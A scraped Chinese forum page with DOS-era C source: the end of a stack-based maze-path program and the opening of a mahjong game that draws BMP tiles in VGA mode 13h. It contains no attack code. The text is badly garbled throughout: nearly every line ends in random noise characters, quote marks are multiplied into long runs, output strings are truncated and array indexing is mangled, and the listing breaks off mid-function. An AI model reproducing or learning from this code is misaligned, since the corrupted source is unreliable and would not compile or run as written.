5 j$ b' E* U( ~" q/* Marking ''''''''''''''''''''''''''''''''-1'''''''''''''''''''''''''''''''' symbolize the current position cannot be put. */
1 Y5 S8 u2 |' k; y" Q2 M} /* MarkPrint */9 f1 _% q$ N/ N2 B1 _% R3 K7 S& j
void FootPrint(PosType curpos)) O4 k6 z/ J) _( R: G# M5 B, U
/* The foot of the curpos of the maze has been set ''''''''''''''''''''''''''''''''true''''''''''''''''''''''''''''''''. */
& O; X/ O! |+ S/ L9 T* w{$ \5 }5 s" ~) {2 y  H. b$ F! m
maze[curpos.x][curpos.y].foot=1;; R* A1 V4 N2 D% H
} /* FootPrint */, g) ?' N/ u, X4 P- r) K
PosType NextPos(PosType seat,int di)
; p5 Z: r5 u& d; R{. K8 p  F( ^# x* q6 G$ g
switch(di)0 {7 _$ r. w; @5 i% P
{
2 v8 ^- i. X4 `2 Vcase 1: seat.y++; return seat; /* Eastward */3 H7 Q; n3 F9 f1 t! I6 \
case 2: seat.x++; return seat; /* Southward */
  H* b- }' e3 c& I1 Y- j- ccase 3: seat.y--; return seat; /* Westward */7 q) K5 [. A$ g! F* u
case 4: seat.x--; return seat; /* Northward */
5 Q- I  }& X& idefault: seat.x=0; seat.y=0; return seat;
! w/ J' b4 q) q1 C}
9 v, B4 m2 u* s; g6 N: X: m} /* NextPos */
( c* w/ e' q) I& c  k5 J( j+ y, t! l5 B/ P
/* The key to the program. */
; z/ K  p3 ]: A7 S0 }& q0 L$ d/* Pre: The maze array &amp; the startplace &amp; the endplace.
+ V% y  e6 y! L  N/ XPost: Find the one traverse of the maze and perform the mazepath." A$ p8 S' r1 R0 l. v$ E4 U
Uses: The ADT stack class." }3 C; E  U- }; b* A& h. I
*/5 O) w* g5 ~* E
Status MazePath(PosType start,PosType end)3 \( T4 z1 B8 B# g- k
{* A/ O$ b. V! {* n3 M) [& n
PosType curpos;7 |* w! A, |2 n& `! R
int curstep;7 `/ a6 k/ F% K0 z8 l* A& P
SElemType e;4 S5 q# e: A+ d" P% ~, P  a
Stack *s,stack;
* b' D; z% h7 Q/ U( ^) X7 b0 y# \stack.base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
) z9 j" a1 q; w: Mif(!stack.base) Error("Overflow");4 P" n# G' I. P
stack.top=stack.base;/ u( `& Z2 H3 g5 a
stack.stacksize=STACK_INIT_SIZE;
3 w% T( n* G5 Ks=&amp;stack;2 b3 X0 `% w7 N  t( a8 j; X
curpos=start;9 |  A3 R+ J$ p: f
curstep=1;
2 M5 @+ j' C) f1 \do! ]" q6 M' Z4 U8 m8 @
{5 t2 @" `9 ?- q# U6 |2 _- V
if(Pass(curpos))
. F/ t- P7 V( ^{
7 [' s+ Q; r+ y. i7 H4 W' C# i! A4 XFootPrint(curpos);( S7 ?' @6 s# r8 q8 m- \/ a- B
e.ord=curstep; e.seat=curpos; e.di=1;# u2 y+ w' H6 W" O1 e% K; k% {
gotoxy((curpos.y+1)*2,curpos.x+2);1 c6 U) ]3 j" a4 Y( }) B0 j
putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');# {) J. K5 S. \- U# D* b- C3 v; p  i/ a
delay(8000); /* pospone time. */1 l+ w" k" Z: b
Push(s,e);
2 n- E1 e9 ^% E7 C5 h' u1 Cif(curpos.x==end.x&amp;&amp;curpos.y==end.y) /* Proceed recursively. */
4 `5 o$ d$ m! r# |{
: e6 X" l. L: s( n. r1 vDestroyStack(s);
! |( p9 s, c7 i7 P6 i* n' _return TRUE;
* y7 ?, `$ D) _0 q}" J: i2 V& s6 n8 g7 k
curpos=NextPos(curpos,1); /* Try next position. */1 H. h8 \. o  J9 Z5 o2 A
curstep++;/ U3 \: n7 @8 t  U1 V3 l
}
5 j, `, Y( n6 e% y. ?2 n  B. xelse
* h  c$ g6 {7 G& u7 j{
, K# T1 V! E, J5 M# lif(!StackEmpty(s))" a+ Z( r$ J9 Y
{  l  p" o  _8 m* _$ f
e=Pop(s,e); /* Removed e from s. */
( v9 @0 y* ^  i4 W, H/ f% \- Ewhile(e.di==4&amp;&amp;!StackEmpty(s)) /* Four directions have been checked
: V6 G1 [8 z6 K0 P' @3 d# {and s is not empty. *// D, V$ y; o0 |; p- g
{& c' x/ }8 N4 [7 N7 m8 R
MarkPrint(e.seat);# k2 ~& |! J! P) }  ?  w, ^
gotoxy((e.seat.y+1)*2,e.seat.x+2);& \6 T6 O$ |2 F4 |; o
putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');" s8 T% q0 \' E  B7 e- [  u
delay(8000); /* Pospone time. */
* T" [' i& a/ L- S8 M7 s" Dgotoxy((e.seat.y+1)*2,e.seat.x+2);
0 m5 D+ m. s, ?! d- xputch('''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''');! P$ ^* a/ b; J6 P9 {2 p+ G& Q
e=Pop(s,e); /* Remove e from s. */
2 `  l. e& a0 |5 H" D# s4 ~9 Jcurstep--;5 T3 m4 ?- Z" M4 G) U- u* H: b
}1 G' ?1 a2 }% T
if(e.di&lt;4) /* The current position hasnot been checked. */: P  Q% C# U. L, u7 j! j
{& k, q6 w2 F9 c$ F/ y: x& U  n
e.di++;
: D  c! Z9 D$ fPush(s,e); /* Insert e into s. */
* M1 }2 Y$ D  d- q: o- u: wcurpos=NextPos(e.seat,e.di); /* Try next position. */
: _* v: R$ u, \# v+ w/ }* H}, o! e- |  H0 ~! r( `% R
}
5 b0 m9 h+ [0 Q4 y3 j}7 q, e' [* z9 O; l0 d
}
# F: I, m! _8 ~- gwhile(!StackEmpty(s));
) K6 G, O8 {, vDestroyStack(s);3 u7 K% a$ T1 N7 A
return FALSE;5 T( P; d% d" [+ p
} /* MazePath */
/ \8 f8 x* o6 j- a" g5 u9 I$ _void main()% Y; J' P$ M- A" j3 n5 x
{
5 W3 K$ w% O3 j* U3 SPosType start,end;. V( k; E/ B1 r% H! t& _- a
CreatMaze();
  P' ]7 f" b0 m  vstart.x=StartPlace.y;4 C* F! V. E+ O0 w5 @& b$ L+ |
start.y=StartPlace.x;. X& E9 M0 X2 d- `/ R# \0 ?7 A
end.x=EndPlace.y;" E* K( }2 R6 `+ o8 D: ~
end.y=EndPlace.x;
( @7 I8 o6 b! b$ C0 Yif(MazePath(start,end))
1 Y+ n9 k! ]- w2 l, m) \, P3 E{
' S1 u9 i9 F# k* pgotoxy(2,22);
# L! L2 P. j1 _+ a) lprintf("ath found\n");
5 Z$ Y2 U4 [/ y  A}+ d5 l" {: n2 P$ P
else. L6 u3 h4 J& B4 A9 I+ i, ?! y
{
9 q  T: x3 n: o  bgotoxy(2,22);
; \  U( c3 t* V+ }printf("ath not found\n");
6 Y; K% S# ]" V7 B}
# y$ h: j* O- B  d- \# T' ~7 ]- zgetch();
& k6 u! O: g) l6 f0 E  A1 pclrscr();" N% ]- H! q! o( c; I  b; S
} </P></DIV>
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<><b><FONT color=#000000>.:.:上海黑暗之龙--麻将原代码:.:.</FONT></b></P><DIV 626px; HEIGHT: 132px" align=left>< align=left>部分图片未上传0 s) [2 k$ [$ {' i2 f
/*天宇软件
3 R7 N9 Y/ Y3 e# e, f作者:上海黑暗之龙
2 i7 z8 |* g/ P' D* h2002/10/30/ W$ o5 f4 t; ~
麻将原代码*/
# i- ]  l! j5 I& Q( a* w' @- s#include "dos.h"
" \) p- X; ^! d5 j. b#include "stdio.h"
  Y, Y# G9 e2 J0 Z8 ^#include "graphics.h"  E  c% _3 q8 n- X" y
#include "bios.h"7 N' R8 M" M0 [8 r; D# B+ B# i
#include "conio.h"
7 R2 g, ]# W3 d5 N7 e#include "stdlib.h"
+ q+ T0 A# f8 ?( h0 E1 m% L- Lunsigned char far *video_buffer=(char far *)0xA0000000L;$ m/ e, g6 n3 K5 @
#define VGA256 0x13 /*图形模式13h*/6 [# g: L/ k0 V0 b( B( r
#define TEXT_MODE 0x03 /*普通文本模式*/
# v: @; F% r2 ~& X0 C1 E#define SETVGA Set_Video_Mode(VGA256)! i& P0 ^& ^8 K
#define OUTVGA Set_Video_Mode(TEXT_MODE)1 G& Q+ F0 W+ i0 X1 {) B2 t, n
#define BYTE unsigned char
4 |  a0 b/ ?- j4 U; ~8 N#define WORD unsigned int0 O% M, h/ q/ j+ N) t# V
#define DWORD unsigned int; s6 Z* Y( l- Q% n: i) R
#define ESC 283
, `5 V9 w, C; W/ V9 ]8 t+ y# G0 u+ e#define LEFT 19200
7 j9 Q5 Z* d/ W* j9 G#define RIGHT 19712
  n& J8 D7 F! U) T  C#define H 9064
0 D4 e+ Y/ e0 A- j( {0 j4 n  h#define ENTER 71810 e+ A. a* T) E& h. Z/ R: {
unsigned long int z=54400,zz=0,zy=0,zyy=0,z1=0,zl=10140;5 Z) N& U3 h  p3 q1 v
int key=0,keyy=0,sing=0,sing1=0,second=0,threes=0;1 A( ~1 l9 F, B0 \
struct chi4 O2 q( f' w) g6 P8 B
{0 V) j6 Q4 |) o6 J. Y
int lg;4 ]8 d8 r* a/ R( S: V
int lgg;/ t9 t* }) i/ m& o+ }, I% ?2 c
}ch[13];
( e8 y% M& t$ z% E" h9 L5 Pstruct mj
; A  m0 J6 ~; c+ ?* z" {{ char *name; /*名字*/
  x+ E& }3 ^# Mint data1; /*是否已出,无用了*/
" |) r% X, t0 K" \- e1 m7 ]int data2; /*是否在手中,1为自己,2为对方*/
8 t4 f# x' Q3 u+ m5 a) ]% bint number; /*同一个花色的第几张,共4张*/5 M- S( W& j) n) X
}m[136]={"1.bmp",0,0,1,"1.bmp",0,0,2,"1.bmp",0,0,3,"1.bmp",0,0,4,"2.bmp",0,0,1,, s6 y) T  a6 M$ w
"2.bmp",0,0,2,"2.bmp",0,0,3,"2.bmp",0,0,4,"3.bmp",0,0,1,"3.bmp",0,0,2,
4 d5 {+ t3 x" _"3.bmp",0,0,3,"3.bmp",0,0,4,"4.bmp",0,0,1,"4.bmp",0,0,2,"4.bmp",0,0,3,
2 Y6 n! x: C" Z/ B"4.bmp",0,0,4,"5.bmp",0,0,1,"5.bmp",0,0,2,"5.bmp",0,0,3,"5.bmp",0,0,4,! m; t( L- `( t1 K
"6.bmp",0,0,1,"6.bmp",0,0,2,"6.bmp",0,0,3,"6.bmp",0,0,4,"7.bmp",0,0,1,0 \0 j6 I4 _/ A; p* H1 P
"7.bmp",0,0,2,"7.bmp",0,0,3,"7.bmp",0,0,4,"8.bmp",0,0,1,"8.bmp",0,0,2,
  R3 \4 G8 p% ]8 `1 Q"8.bmp",0,0,3,"8.bmp",0,0,4,"9.bmp",0,0,1,"9.bmp",0,0,2,"9.bmp",0,0,3,- E, a' D6 q/ M
"9.bmp",0,0,4,"10.bmp",0,0,1,"10.bmp",0,0,2,"10.bmp",0,0,3,"10.bmp",0,0,4,( {' S4 r0 |8 d
"11.bmp",0,0,1,"11.bmp",0,0,2,"11.bmp",0,0,3,"11.bmp",0,0,4,"12.bmp",0,0,1,
' h/ `. H8 ]# ]0 I" P$ o* E"12.bmp",0,0,2,"12.bmp",0,0,3,"12.bmp",0,0,4,"13.bmp",0,0,1,"13.bmp",0,0,2,
4 q& C: P% n$ C$ x4 I9 F+ h  `"13.bmp",0,0,3,"13.bmp",0,0,4,"14.bmp",0,0,1,"14.bmp",0,0,2,"14.bmp",0,0,3,7 |8 [- G) H9 a+ f: O) p
"14.bmp",0,0,4,"15.bmp",0,0,1,"15.bmp",0,0,2,"15.bmp",0,0,3,"15.bmp",0,0,4,
, `/ i: D' H  E2 V9 {/ K# @"16.bmp",0,0,1,"16.bmp",0,0,2,"16.bmp",0,0,3,"16.bmp",0,0,4,"17.bmp",0,0,1,
; A- n' Z7 r7 b' z"17.bmp",0,0,2,"17.bmp",0,0,3,"17.bmp",0,0,4,"18.bmp",0,0,1,"18.bmp",0,0,2,
" n" n6 K1 e4 e$ W# Y( _9 t" |% f"18.bmp",0,0,3,"18.bmp",0,0,4,"19.bmp",0,0,1,"19.bmp",0,0,2,"19.bmp",0,0,3,
9 k- W8 H9 Y+ [; Z9 r' M"19.bmp",0,0,4,"20.bmp",0,0,1,"20.bmp",0,0,2,"20.bmp",0,0,3,"20.bmp",0,0,4,
0 [8 A" N0 N4 `/ [/ j"21.bmp",0,0,1,"21.bmp",0,0,2,"21.bmp",0,0,3,"21.bmp",0,0,4,"22.bmp",0,0,1,
4 X' u' H; I2 M) m1 \. s  Y"22.bmp",0,0,2,"22.bmp",0,0,3,"22.bmp",0,0,4,"23.bmp",0,0,1,"23.bmp",0,0,2,
! l( ?8 m& U* L/ ~  k. V" J7 Y"23.bmp",0,0,3,"23.bmp",0,0,4,"24.bmp",0,0,1,"24.bmp",0,0,2,"24.bmp",0,0,3,
4 d" Q# s- v  B% a"24.bmp",0,0,4,"25.bmp",0,0,1,"25.bmp",0,0,2,"25.bmp",0,0,3,"25.bmp",0,0,4,. i# p! g2 H/ ], a) B* Q2 B
"26.bmp",0,0,1,"26.bmp",0,0,2,"26.bmp",0,0,3,"26.bmp",0,0,4,"27.bmp",0,0,1,( {# `- k( {. C% U3 ?& c$ M
"27.bmp",0,0,2,"27.bmp",0,0,3,"27.bmp",0,0,4,"28.bmp",0,0,1,"28.bmp",0,0,2,
+ k* g( Z8 m6 k3 b  R+ p6 f) O" o"28.bmp",0,0,3,"28.bmp",0,0,4,"29.bmp",0,0,1,"29.bmp",0,0,2,"29.bmp",0,0,3,
- p) {* Y+ c7 w; o$ p8 k; @"29.bmp",0,0,4,"30.bmp",0,0,1,"30.bmp",0,0,2,"30.bmp",0,0,3,"30.bmp",0,0,4,
0 q" T9 _, a+ `% W. A2 {! H% r' j"31.bmp",0,0,1,"31.bmp",0,0,2,"31.bmp",0,0,3,"31.bmp",0,0,4,"32.bmp",0,0,1,* U1 Y- R( P7 ^0 ]0 n5 x" c
"32.bmp",0,0,2,"32.bmp",0,0,3,"32.bmp",0,0,4,"33.bmp",0,0,1,"33.bmp",0,0,2,% A6 G( @; H- F
"33.bmp",0,0,3,"33.bmp",0,0,4,"34.bmp",0,0,1,"34.bmp",0,0,2,"34.bmp",0,0,3,
9 }6 y8 ^1 x9 l"34.bmp"};3 F& l: R7 K9 ~! B! \! q- V
struct every
9 o2 l1 d$ n# h  [) f6 ?& e0 J{ int *k; /*名字*/" P. K& P2 }7 d) A
int oneorfour; /*同一张牌的第几张*/- F: X$ b" ]; ]- Y( H8 A: G
int number; /*第几张牌136*/0 A5 m* ]7 S" S+ q
int p;
; R  x$ z0 J. D* |$ |4 yint g;" `1 v5 z) s( R2 n+ u
int c;& T% @% D4 |9 Y8 S. T, w- M
int d[2];. J7 U" @8 v% K3 I  |& V
};3 M% x3 E6 f/ i* F: s
struct me
8 q8 T) n& U* d{ int m; /*定义有几张牌,开始有13张随着游戏的进行,会越来越小*/
' B$ N! ^+ H6 d0 Y4 q+ ]( ^, B" aint p; /*乓对方*/4 f; A3 ~3 E, I
int c; /*吃对方*/2 t8 h5 J' x6 Q3 Y9 i) h
int g; /*杠*/. X; W5 b! b! y& M

7 z3 g& V2 l! k1 ]9 pstruct every pp[14]; /*存放手上的牌*/
4 k/ A1 g2 |4 W7 U}me;4 F* y* `1 H3 C: y/ w3 I5 D0 A
struct computer2 G" _1 S4 q) \* B
{ int m;- H/ y: ?4 r5 H! Q1 Z
int p;' J& A9 U) m! Z3 W
int c;
- B  J2 z4 v( b4 v3 P% Jint g;
- K( G' ~  j2 S2 S0 q: lstruct every pp[14];
- }1 b& X0 K9 ]) J; O7 D+ e5 C% F) _}computer,comp;- ?; C6 C1 T" h) p
4 @$ I* |. x/ k3 f: k+ r
/* 设置调色板 */: U6 q. y5 b, ?7 T$ n
void Set_Palette(int Color,BYTE r,BYTE g,BYTE b)8 X" k5 S8 k$ s/ l& _
{
1 b0 g% t* g" voutportb(0x3c8,Color); /*0x3c8写端口 写色号*/
3 u* {& U- q% B; ?outportb(0x3c9,r); /*0x3c9数据端口 R、G、B的比例*/
9 {  {( e; e" Y$ N2 w/ }outportb(0x3c9,g);
& j* D4 U3 `0 s& [outportb(0x3c9,b);2 {2 Y( \  [. \' D) l! P/ M
}7 A# w% W* e" ^+ n9 k
/*0x3c7读端口 0x3c6计算机调色板寄存器调用端口*/$ Y, h7 u5 F) t7 i1 A
/* 设置显示模式的函数 */$ S  C8 X9 J( Z; a
void Set_Video_Mode(int mode)
# f1 j! j# W1 e5 I; m- m{
1 R4 J3 E7 H! ?. yunion REGS inregs,outregs; /*定义输入和返回寄存器*/
9 D) u3 N$ U# }- _- a. c+ c; Pinregs.h.ah=0; /*ah存放功能号0h表示进入视频模式*/  F* t6 ^0 M( A4 J
inregs.h.al=(unsigned char)mode; /*al存放要设定的视频模式*/7 \0 q8 w3 D- i1 s; e! i/ z2 R# N
int86(0x10,&amp;inregs,&amp;outregs); /*通过10h中断设定显示模式int86()包含在dos.h*/* o2 @7 M3 h$ h5 @4 P
}
4 |5 e" e7 \7 Q! v& Y8 _6 Xvoid v_line(int y0,int y1,int x,unsigned int color)
" ]9 F- u% [; @/ z( u+ v" M2 l/ H% ?{ unsigned int address,n,temp;& ~& l% j6 c+ h" y: W' ^
if(y0&gt;y1)0 Q( o! x- q7 T- p- o+ _  Z3 A
{2 I1 R9 h. ?8 A1 Q' l# T
temp=y1;; R0 j. _3 D, T
y1=y0;9 n, }) E8 u0 a, [* r+ }
y0=temp;
" y* Z$ [- A% K0 n8 W# ?}
: s: |+ H0 J$ `* Saddress=320*y0+x;, o6 L3 ^4 t6 n# ~
for(n=0;n&lt;=y1-y0;n++)
  z# N  @3 O- e2 c5 }  [{
* m! D: ~& k8 a) B, I  H, [video_buffer[address]=color;
0 `* Y# @- X- g1 R+ vaddress+=320;
( ?$ F0 J4 {5 t( _7 Q}
+ W7 c6 g. C, y  w! W- O}4 c' w; n' [  K
void h_line(int x0,int x1,int y,unsigned int color)
9 M" s% c, a/ m; l{ unsigned int address,n,temp;
, Z# {& e9 \+ J0 d& K, {( kif(x0&gt;x1)
2 e, n0 I. v# a; ?{
8 j: X, o& V3 ^/ Ltemp=x1;* n7 J5 D  l7 k7 k
x1=x0;
4 h; `9 a/ `! a6 q3 G' `6 @, _1 Cx0=temp;
: e5 u" B' j  d& \+ O5 a}
5 J% B( z! |" c! S3 }" {/ y: [address=320*y+x0;
8 B6 _# _! [. a) z$ K, i: `for(n=0;n&lt;=x1-x0;n++)
' Y: C( A; L5 A' B/ g, s{
4 y" D, }. N3 s' rvideo_buffer[address]=color;
3 r6 e  Z) S5 b# C  I7 zaddress+=1;
# M$ m- b4 ]) @( _}
+ ^) j9 N/ y# K}1 }2 S$ _+ L: U# O( q3 s# `4 k
void p_pixel(int x,int y,unsigned int color); v( x3 B  c; w' I  U+ L
{ video_buffer[y*320+x]=color;8 B- c% O( ]% }2 m) F4 x
}+ T% E4 O7 Q9 D' P+ g+ n
void s_square(int x,int y,int side,int color)- J" G9 P- e; v0 j! f
{
7 F# Q/ K7 m6 C8 u. X& o, Dh_line(x,x+side,y,color);/ `2 \4 W. `8 G; G8 [" [. E/ Q
h_line(x,x+side,y+side,color);9 e. u, b: J: a% Y% r- U* t
v_line(y,y+side,x,color);
5 J5 [$ V, ~5 o$ Y1 `v_line(y,y+side,x+side,color);; [7 D( X2 M7 \9 p* N) d9 p3 w  a# u" \
}- S' S& x# U6 ^8 k6 z
void r_rectangle(int x1,int y1,int x2,int y2,int color)6 B; i) m' b2 c: M8 ~! _0 E
{: a6 ~7 q8 v$ o, e: l  |
h_line(x1,x2,y1,color);
# }: g9 W. h8 \) Ph_line(x1,x2,y2,color);/ y( P+ m7 a, [
v_line(y1,y2,x1,color);
# O) F0 R6 u) \v_line(y1,y2,x2,color);
4 V/ B; Z$ I1 C}& O$ F0 j' O3 J7 i
void fillRectangle(int x1,int y1,int x2,int y2,int color)1 N0 G5 P/ U) t6 a7 O) D, _- ^7 m, V
{
- y+ l5 j7 M. @& a! oint i;' l* O  L% }2 w7 X; p' Y" B6 r1 E
for(i=y1;i&lt;=y2;i++)2 I" l; k: D5 S0 D, ~6 K  [
{' k8 l& H4 D* t5 g3 R0 @: B9 v$ X
h_line(x1,x2,i,color);
/ A- E8 G' p; w, N}
/ |5 G/ q' k: N, |& t}5 Z0 u$ |3 P4 Z8 `4 `: j
void showbmp(int l)( Y" Q+ \3 D4 ]- U
{ FILE *bmp;
( f9 q+ t' q) a4 E# f9 Zint i,x,y;
# R' G2 i# ^" A" I* _BYTE palette[256][3];
" n" O$ b5 j* a' Rbmp=fopen(me.pp[l].k,"rb");
3 B: |9 [& @% {: }; s$ sfseek(bmp,54,SEEK_SET);+ p3 o6 [# Z% j8 r  l" L) f
for(i=0;i&lt;256;i++)
" z( C! B- i( ^, I0 @3 V4 P{
% i$ j4 S+ P0 D  k- ^' Xpalette[2]=fgetc(bmp)&gt;&gt;2;
9 f/ U/ r/ v" ?palette[1]=fgetc(bmp)&gt;&gt;2;6 ?6 D( }* P4 K+ K7 ~- C
palette[0]=fgetc(bmp)&gt;&gt;2;' u. l9 @! |6 h; ^! G
fgetc(bmp);! F" D& j2 f1 c
Set_Palette(i,palette[0],palette[1],palette[2]);  l8 e7 ~" U; A! T# |
}" v) C% Z! w, U) ^+ @
for (y=0;y&lt;30;y++)
& I3 n0 l; Q; j# c, F" Kfor(x=0;x&lt;20;x++)/ j7 q- b% l9 l; @, h$ U4 E
pokeb(0xa000,y*320+x+z+zz+z1,fgetc(bmp));6 G$ w" I2 w- E- b. E- u
fclose(bmp);  V* Z' u4 v3 }- H& m2 ^/ c( }
}
1 Q3 u7 q6 k3 s! g! c8 ?void showbmpd(int l)4 l0 z. J/ T" q. j
{ FILE *bmp;& F/ p! ~1 J8 _! ]
int i,x,y;
1 j* j0 N9 b/ B- kBYTE palette[256][3];
8 D* L: ~, }1 \# C0 I" A9 _3 ?  w4 Xbmp=fopen(me.pp[l].k,"rb");
2 F" X& l, n; z+ Vfseek(bmp,54,SEEK_SET);
  f; r0 p; Q( N- M3 R( |for(i=0;i&lt;256;i++)7 z  N" O' E, T
{+ H& s; t- `6 ~7 Q" b+ A: o
palette[2]=fgetc(bmp)&gt;&gt;2;
9 h0 X7 R( V5 rpalette[1]=fgetc(bmp)&gt;&gt;2;$ M" c! A& C3 [6 h. p# ^
palette[0]=fgetc(bmp)&gt;&gt;2;
  A- z) m+ }1 j  @4 n3 W2 j2 qfgetc(bmp);
& j+ m9 Q9 Y! t; WSet_Palette(i,palette[0],palette[1],palette[2]);" q0 a: v1 p7 ~+ _
}8 H/ |4 A: ]' M7 t8 ~4 M" S
for (y=0;y&lt;30;y++)
" i! s+ A# i7 @: ?! s) Ifor(x=0;x&lt;20;x++)' R! O! q6 N! Y
pokeb(0xa000,y*320+x+zyy,fgetc(bmp));$ G9 @. [: u, A5 U/ ~
fclose(bmp);
8 f; w( t9 [* p! d5 p}
9 g2 v$ L/ d$ t3 h5 uvoid showybmp(int ll)
, w# A6 Z! ~, Y  K{ FILE *bmp;- e0 n2 a# N$ Z& K3 Y9 I# M* S/ a
int i,x,y;
9 u# K8 R5 ~: o. |# dBYTE palette[256][3];
. y: n# Z+ G) T& c" I! nbmp=fopen(computer.pp[ll].k,"rb");6 R7 D# z7 q- a
fseek(bmp,54,SEEK_SET);# S% ]. k3 S. n6 e, O2 Z" X
for(i=0;i&lt;256;i++): i$ Z/ ^, h0 X/ O/ c& Q( ?( w
{
/ C+ h9 `9 r0 }" e# g% Y. f2 zpalette[2]=fgetc(bmp)&gt;&gt;2;( Y, p; b: W/ h7 t5 l
palette[1]=fgetc(bmp)&gt;&gt;2;
  }- T4 ?, d& N* x% u9 \) Z: J6 p$ epalette[0]=fgetc(bmp)&gt;&gt;2;
# A% `5 l" O5 I% e7 s5 S% qfgetc(bmp);* [) b" v* C* e5 Y9 X" E1 A
Set_Palette(i,palette[0],palette[1],palette[2]);
# Z/ \6 q8 |$ O" @}
6 J2 `0 q7 D, a7 Qfor (y=0;y&lt;30;y++)! D' N; P) y' G/ a, }, M8 \
for(x=0;x&lt;20;x++)( Q( M! u$ G' B7 f8 e0 A! M8 t
pokeb(0xa000,y*320+x+zy,fgetc(bmp));0 `9 \. U5 y+ Z' Z5 J5 [" e9 v; L" |
fclose(bmp);0 Q" `, G4 u1 S+ v. ?' H; `: f# Q
}1 F9 }7 p  S3 e& O, X% R7 R
void showcbmp(int ll). a9 o. C2 B/ O; @( i
{ FILE *bmp;
, D9 D% e9 d  G- E' v8 Uint i,x,y;2 N2 X# B% k$ A/ K! W' @8 W
BYTE palette[256][3];
/ l0 ]2 ]  f! V( @2 i1 {2 g4 e  Kbmp=fopen(computer.pp[ll].k,"rb");. r0 [  u4 l1 d% @- p) |8 F5 T
fseek(bmp,54,SEEK_SET);
5 x; K* b( G) E4 Q: B% d  Q3 jfor(i=0;i&lt;256;i++)) x/ l1 f) k1 |" Z6 N
{
/ K# R+ m( Q$ x- O2 Mpalette[2]=fgetc(bmp)&gt;&gt;2;
4 ^) ?" z! k" f" X1 M* W3 Jpalette[1]=fgetc(bmp)&gt;&gt;2;
5 x, c$ F5 l3 jpalette[0]=fgetc(bmp)&gt;&gt;2;
. o+ p# C" J5 B$ c0 U' @6 x# `fgetc(bmp);4 ~% e+ l- ]* V2 Q7 ~+ w5 w+ Z; ~
Set_Palette(i,palette[0],palette[1],palette[2]);
+ b0 c, K  @* r+ W8 q; x- _}3 i- |; j% P6 I5 m% N
for (y=0;y&lt;30;y++)$ [, y/ O  H1 F* W" z6 A0 _
for(x=0;x&lt;20;x++)) F+ O# \+ y0 {1 R7 t
pokeb(0xa000,y*320+x+zyy,fgetc(bmp));  r5 z  X9 d; ~
fclose(bmp);
0 Z, j  o: H4 x& Q  y+ N}4 @  s6 V# F8 S' Y( x, x0 {9 ~: n
void bmpp(int number)
9 X& g' _0 @7 r9 f1 \9 Z: j{ FILE *bmp;
3 b1 j4 `' ?( M5 B& d* ?  Rint i,x,y;7 E/ z. g, m$ ^" A/ D% u# X
BYTE palette[256][3];( C9 ], ~) \" `3 j% ~, }  A
bmp=fopen(m[number].name,"rb");
8 Y) W4 e9 Q# d4 Z+ b4 f' `- ~fseek(bmp,54,SEEK_SET);* |- w& C! V9 R; W* K% j# F
for(i=0;i&lt;256;i++)0 q" Q- U; G. I3 N7 [
{( P/ ]7 J1 ^7 d6 X% S
palette[2]=fgetc(bmp)&gt;&gt;2;' ~7 ]) d+ ]$ d2 F
palette[1]=fgetc(bmp)&gt;&gt;2;; K% Y: s$ e5 [! u! g
palette[0]=fgetc(bmp)&gt;&gt;2;
+ R( G- L/ z* n' t! Efgetc(bmp);2 Y. U! S& u$ P. U9 A
Set_Palette(i,palette[0],palette[1],palette[2]);- T, A2 H. J" b- v
}. x( e* K, g% u
for (y=0;y&lt;30;y++): u& i% e, X9 C0 E
for(x=0;x&lt;20;x++)- U3 c5 B, w, y  G
pokeb(0xa000,y*320+x+zl,fgetc(bmp));$ P6 u/ Y' e6 N+ G& i+ u. \! d
fclose(bmp);
+ B3 a0 i4 H5 X; p0 P$ t0 i8 ~  U}, O3 K& j% s  ]7 W$ ]" H* c
void comlipai() /*整理电脑的牌*/
6 |' p  h: R  A3 K1 L3 ]6 P& h{ int n,j,u;
- n; Q( ^1 k0 Q' }- Dint *lingshi;
* j! ^3 \" E" nfor(n=0;n&lt;computer.m;n++)0 H4 p+ h* r& t6 L
for(j=n;j&lt;computer.m;j++)
/ J1 [: X, E$ r- s: ?; ], H{; h* ^$ B( x# c- V; ~
if(computer.pp[n].number&gt;computer.pp[j+1].number)
1 I" t# c' G' ]' a/ c) o+ C{6 d- y8 ~- K! c7 ^1 P& q6 S
lingshi=computer.pp[n].k;
6 P3 L) H% i( s* F/ J3 scomputer.pp[n].k=computer.pp[j+1].k;
% T, r; W4 D. {computer.pp[j+1].k=lingshi;* D/ a+ B' w5 W7 p
u=computer.pp[n].oneorfour;+ F* ~: d/ ]9 F2 o9 D* \; X; D
computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;9 |/ t& O5 D, ?, |7 v* s* i
computer.pp[j+1].oneorfour=u;" A( B" E- I( q
u=computer.pp[n].number;
3 N& \3 o7 E# U; c3 f, ~computer.pp[n].number=computer.pp[j+1].number;
5 p/ s) @/ ?( |* M% {9 @computer.pp[j+1].number=u;
0 H* ?3 {0 I) p: @3 x+ x5 U  ~}
* T, a* [+ }# B0 `* c* aelse
% r2 B/ }0 h5 M) I1 u: f( Mif(computer.pp[n].number==computer.pp[j+1].number)  J1 J6 h" |; @- V1 M8 d, ?
if(computer.pp[n].oneorfour&gt;computer.pp[j+1].oneorfour). N: [& H( ?8 G1 Y; S
{
; m0 R$ s4 S5 b# W' Dlingshi=computer.pp[n].k;1 D' J# q1 s. Y" p
computer.pp[n].k=computer.pp[j+1].k;
8 U  N# Q% ^2 ~/ Z9 |# fcomputer.pp[j+1].k=lingshi;
3 t/ p- N% }+ m8 d3 [+ ]u=computer.pp[n].oneorfour;$ G' G: _+ J+ F; Z: b% H) ^* ?1 ~
computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;5 R* E. l  X: c* R
computer.pp[j+1].oneorfour=u;
# ]4 N$ \5 T/ C  ]8 Nu=computer.pp[n].number;
' _2 d/ v: X  `7 ~computer.pp[n].number=computer.pp[j+1].number;
- X8 ^, B1 s; s7 |4 \computer.pp[j+1].number=u;
8 F" y5 j8 A1 c' e}
8 K, D8 J8 h  L/ R; b! u" ]}
: V; Q! v' ^8 S9 J0 l}' R5 L8 W1 a$ q  x, b
void melipai()
